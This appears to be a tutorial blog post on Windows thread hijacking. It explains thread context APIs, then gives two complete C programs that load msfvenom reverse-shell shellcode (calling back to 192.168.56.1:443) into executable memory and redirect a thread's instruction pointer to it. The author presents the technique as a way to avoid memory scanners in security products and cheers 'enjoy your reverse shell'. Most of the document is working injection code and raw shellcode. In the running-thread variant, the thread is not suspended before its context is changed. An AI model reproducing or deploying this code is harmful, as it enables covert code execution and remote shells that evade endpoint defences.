Thread hijacking (A.K.A Thread Context Injection) is a technique in which the execution flow of a running thread is altered in order to execute an arbitrary code (shellcode). the benefit of this technique, is that code execution is performed without creating a new thread. The main difference between thread creation and thread hijacking is that creating a new thread will expose the base address of the payload, and thus the payload's content ,because a new thread's entry point must point to the payload base address in memory. exposing the payload address might trigger the memory scanner in some security products which in turn will scan the memory region and probably find some signatures in it, which leads to process termination.
Thread Context
The thread context represents the complete state of a thread at a particular point in time. It includes the values of all the registers, flags, and pointers that determine what the thread is doing and where it’s located in its execution. By manipulating this context, one can control a thread’s execution, making it useful for debugging, altering program flow, and even injecting code, as seen in techniques like thread hijacking.
Manipulating Threads
Windows provides two key APIs to interact with a thread’s context:
GetThreadContext : Retrieves the current context of a specified thread. This includes values of all registers, flags, and more, allowing developers or attackers to view the thread's exact execution state.
SetThreadContext : Sets or updates the context of a specified thread, allowing modification of the thread’s execution by changing registers, flags, or the instruction pointer (such as redirecting execution to injected code).
And two APIs for changing thread’s running state (suspend/resume):
SuspendThread: Suspends the specified thread.
ResumeThread : Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
Here's an example of these APIs:
#include <windows.h>
#include <stdio.h>
// This function is executed by thread1
DWORD WINAPI thread_function(LPVOID lpParam) {
printf("[Thread 1]: Thread1 is running\n");
// run for 10 secs
for (int i = 10; i > 0; i--) {
printf("[Thread 1]: Waiting %d seconds...\n", i);
Sleep(1000); // Wait for 1 second
printf("\033[1A"); // Move cursor up to overwrite the line
}
printf("\n\n[Thread 1]: Countdown complete!\n");
return 0;
}
// Suspend thread1 to get its context, then resume it
void print_thread_context(HANDLE hThread) {
// Suspend the thread to safely get its context
printf("\n[Main Thread]: Suspending thread1 to get its context...\n");
SuspendThread(hThread);
// Initialize CONTEXT structure
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL; // Request full context, including registers
// Get the thread context
if (GetThreadContext(hThread, &ctx)) {
// for 64-bit threads
#ifdef _WIN64
// Print values for 64-bit registers
printf("RIP (Instruction Pointer): 0x%llx\n", ctx.Rip);
printf("RSP (Stack Pointer): 0x%llx\n", ctx.Rsp);
printf("RBP (Base Pointer): 0x%llx\n", ctx.Rbp);
// for 32-bit threads
#else
// Print values for 32-bit registers
printf("EIP (Instruction Pointer): 0x%x\n", ctx.Eip);
printf("ESP (Stack Pointer): 0x%x\n", ctx.Esp);
printf("EBP (Base Pointer): 0x%x\n", ctx.Ebp);
#endif
}
else {
printf("[Main Thread]: Failed to get thread context.\n");
}
printf("\n[Main Thread]: Resuming thread1...\n\n");
// Resume the thread after retrieving the context
ResumeThread(hThread);
}
int main() {
// Create a new thread
DWORD threadId;
HANDLE hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
thread_function, // thread function
NULL, // argument to thread function
0, // use default creation flags
&threadId); // returns the thread identifier
// Get a handle to thread1
if (hThread == NULL) {
printf("[Main Thread]: Failed to create thread1.\n");
return 1;
}
// Give the thread some time to start
printf("[Main Thread]: Giving thread1 5 seconds to run...\n");
Sleep(5000);
print_thread_context(hThread);
// Wait for the thread to finish execution
WaitForSingleObject(hThread, INFINITE);
// Close the thread handle
CloseHandle(hThread);
return 0;
}
Here is a quick run down of the code:
The program's Main function (the main thread) creates a new thread (thread1) using CreateThread API. thread1 will execute the thread_function function.
Thread1 will start a count down from 10 to 0 while the main thread is waiting for 5 seconds after thread1 creation to suspend thread1 using SuspendThread API call.
After suspension, the main thread retrieves the thread context from thread1 using GetThreadContext API and prints the information.
The main thread then resumes thread1 using ResumeThread and thread1 keeps counting down to 0 from where is has been suspended.
These APIs are used in the process of hijacking a local or remote thread.
Local Thread Hijacking
Following the previous example code, here’s an overview of how local thread hijacking generally works:
Create a benign thread (dummy thread) in local process and a benign function for it to execute. the thread can be created in suspended state or be suspended later.
Suspend the dummy thread (if not already suspended)
allocate memory and copy the shellcode, make it executable/readable
Get dummy thread context, set instruction pointer to shellcode address
Resume the dummy thread to execute the shellcode
Hijacking a Suspended Thread
First way is to create a local thread in suspended state (using CREATE_SUSPENDED flag in CreateThread API call), changing thread context and then resuming the modified thread to execute our shellcode.
Here is an example of a dummy thread getting hijacked from suspended mode:
#include <windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f c exitfunc=thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// Dummy function for dummy thread to run
DWORD WINAPI DummyFunction(PVOID lpParam) {
printf("[Dummy Thread]: Execution started\n");
// Run for 10 seconds
for (int i = 10; i > 0; i--) {
printf("[Dummy Thread]: Waiting %d seconds...\n", i);
Sleep(1000);
printf("\033[1A"); // Clear last line
}
printf("\n\n[Dummy Thread]: Countdown complete!\n");
return 0;
}
// Hijacker function
BOOL Hijacker(HANDLE hThread, PBYTE pPayload, SIZE_T sPayloadSize) {
DWORD dwOldProtection = 0;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL; // Request full context
// Allocating memory for the payload
PVOID pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[Hijacker]: VirtualAlloc Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Memory allocated\n");
}
// Copying the payload to the allocated memory
memcpy(pAddress, pPayload, sPayloadSize);
// Changing the memory protection
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READ, &dwOldProtection)) {
printf("[Hijacker]: VirtualProtect Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Memory protection changed\n");
}
// Get original thread context
if (!GetThreadContext(hThread, &ctx)) {
printf("[Hijacker]: GetThreadContext Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Thread context retrieved\n");
}
// Updating the next instruction pointer to be equal to the payload's address
ctx.Rip = (DWORD64)pAddress;
// Setting the new updated thread context
if (!SetThreadContext(hThread, &ctx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Instruction pointer (RIP) now points to shellcode address\n");
}
// Resume the thread
if (ResumeThread(hThread) == (DWORD)-1) {
printf("[Hijacker]: ResumeThread Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Thread resumed\n");
}
return TRUE;
}
int main() {
// Create a new thread in a suspended state
DWORD threadId;
HANDLE hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
DummyFunction, // thread function
NULL, // argument to thread function
CREATE_SUSPENDED, // create the thread in a suspended state
&threadId); // returns the thread identifier
// Get a handle to the thread
if (hThread == NULL) {
printf("[Main Thread]: Failed to create dummy thread !!!\n");
return 1;
}
// Give the thread some time to start (not necessary since it's suspended)
printf("[Main Thread]: Dummy thread created in suspended state.\n");
// Call Hijacker
printf("[Main Thread]: calling hijacker on dummy thread\n");
if (Hijacker(hThread, shellcode, sizeof(shellcode))) {
printf("[Main Thread]: Hijacking succeeded, enjoy your reverse shell :)\n");
}
else {
printf("[Main Thread]: Hijacking failed!\n");
}
// Wait for the dummy thread to finish
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
If we setup a netcat listener and run the code:
As you can see the dummy function did not get a chance to execute the countdown code. thats because the Hijacker function modified the RIP to point to the shellcode, so the countdown loop could never be reached.
Hijack a Running Thread
Another way is to let the thread run and then hijack its execution.
Here is an example code of a dummy function being hijacked mid-execution:
#include <windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f c exitfunc=thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// Dummy function for dummy thread to run
DWORD WINAPI DummyFunction(PVOID lpParam) {
printf("[Dummy Thread]: Execution started\n");
// run for 10 secs
for (int i = 10; i > 0; i--) {
printf("[Dummy Thread]: Waiting %d seconds...\n", i);
Sleep(1000);
printf("\033[1A"); // Clear last line
}
printf("\n\n[Dummy Thread]: Countdown complete!\n");
return 0;
}
// Hijacker function
BOOL Hijacker(HANDLE hThread, PBYTE pPayload, SIZE_T sPayloadSize) {
DWORD dwOldProtection = 0;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL; // Request full context
// Allocating memory for the payload
PVOID pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[Hijacker]: VirtualAlloc Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Memory allocated\n");
}
// Copying the payload to the allocated memory
memcpy(pAddress, pPayload, sPayloadSize);
// Changing the memory protection
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READ, &dwOldProtection)) {
printf("[Hijacker]: VirtualProtect Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Memory protection changed\n");
}
// Get original thread context
if (!GetThreadContext(hThread, &ctx)) {
printf("[Hijacker]: GetThreadContext Failed With Error : %d !!!\n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Thread context retrieved\n");
}
// Updating the next instruction pointer to be equal to the payload's address
ctx.Rip = (DWORD64)pAddress;
// Setting the new updated thread context
if (!SetThreadContext(hThread, &ctx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
else {
printf("[Hijacker]: Instruction pointer (RIP) now points to shellcode address\n");
}
return TRUE;
}
int main() {
// Create a new thread
DWORD threadId;
HANDLE hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
DummyFunction, // thread function
NULL, // argument to thread function
0, // use default creation flags
&threadId); // returns the thread identifier
// Get a handle to thread1
if (hThread == NULL) {
printf("[Main Thread]: Failed to create dummy thread !!!\n");
return 1;
}
// Give the thread some time to start
printf("[Main Thread]: Giving dummy thread 5 seconds to run...\n");
Sleep(5000);
// Call Hijacker
printf("[Main Thread]: calling hijacker on dummy thread\n");
if (Hijacker(hThread, shellcode, sizeof(shellcode))) {
printf("[Main Thread]: Hijacking succeeded, enjoy your reverse shell :)\n");
}
else {
printf("[Main Thread]: Hijacking failed!\n");
}
// Wait for the dummy thread to finish
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
Executing the code, we see this:
This time, the dummy thread is running, until its suspended and the shellcode gets executed instead of the countdown loop:
The process is then paused until we hit Ctrl+C in the terminal and terminate the reverse shell.
If we terminate the reverse shell, the program exits without continuing the original dummy function code. that's because the shellcode does not change the value of RIP to its original value before exiting. this is the caveat of thread hijacking technique.